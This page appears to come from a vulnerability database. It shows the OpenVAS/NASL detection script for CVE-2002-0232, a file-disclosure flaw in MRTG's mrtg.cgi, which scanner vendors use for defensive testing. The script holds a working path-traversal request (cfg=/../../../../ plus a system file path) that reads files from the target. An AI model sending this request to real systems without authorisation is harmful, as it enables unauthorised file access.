MRTG mrtg.cgi File Disclosure vulnerability in MRTG traffic visualization application allows remote attacker to view the first line of any file on the system. Mitigation is to block access to this CGI
Reporter | Title | Published | Views | Family All 4 |
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![]() | MRTG mrtg.cgi cfg Parameter Traversal Arbitrary Files Access | 5 Jun 200200:00 | – | nessus |
![]() | CVE-2002-0232 | 29 May 200204:00 | – | cve |
![]() | CVE-2002-0232 | 3 May 200204:00 | – | cvelist |
![]() | CVE-2002-0232 | 29 May 200204:00 | – | nvd |
Source | Link |
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securityfocus | www.securityfocus.com/bid/4017 |
# SPDX-FileCopyrightText: 2002 Digital Defense Inc.
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.11001");
script_version("2025-04-15T05:54:49+0000");
script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/4017");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
script_cve_id("CVE-2002-0232");
script_name("MRTG mrtg.cgi File Disclosure");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2002 Digital Defense Inc.");
script_family("Web application abuses");
script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "os_detection.nasl", "global_settings.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
script_tag(name:"solution", value:"Block access to this CGI.");
script_tag(name:"summary", value:"The mrtg.cgi script is part of the MRTG traffic
visualization application. A vulnerability exists in this script which allows an
attacker to view the first line of any file on the system.");
script_tag(name:"solution_type", value:"Mitigation");
script_tag(name:"qod_type", value:"remote_vul");
exit(0);
}
include("host_details.inc");
include("os_func.inc");
include("misc_func.inc");
include("traversal_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
port = http_get_port( default:80 );
files = traversal_files();
foreach dir( make_list_unique( "/", http_cgi_dirs( port:port ) ) ) {
if( dir == "/" ) dir = "";
foreach file( keys( files ) ) {
url = dir + "/mrtg.cgi?cfg=/../../../../../../../../../" + files[file];
if( http_vuln_check( port:port, url:url, pattern:file ) ) {
report = http_report_vuln_url( port:port, url:url );
security_message( port:port, data:report );
exit( 0 );
}
}
}
exit( 99 );
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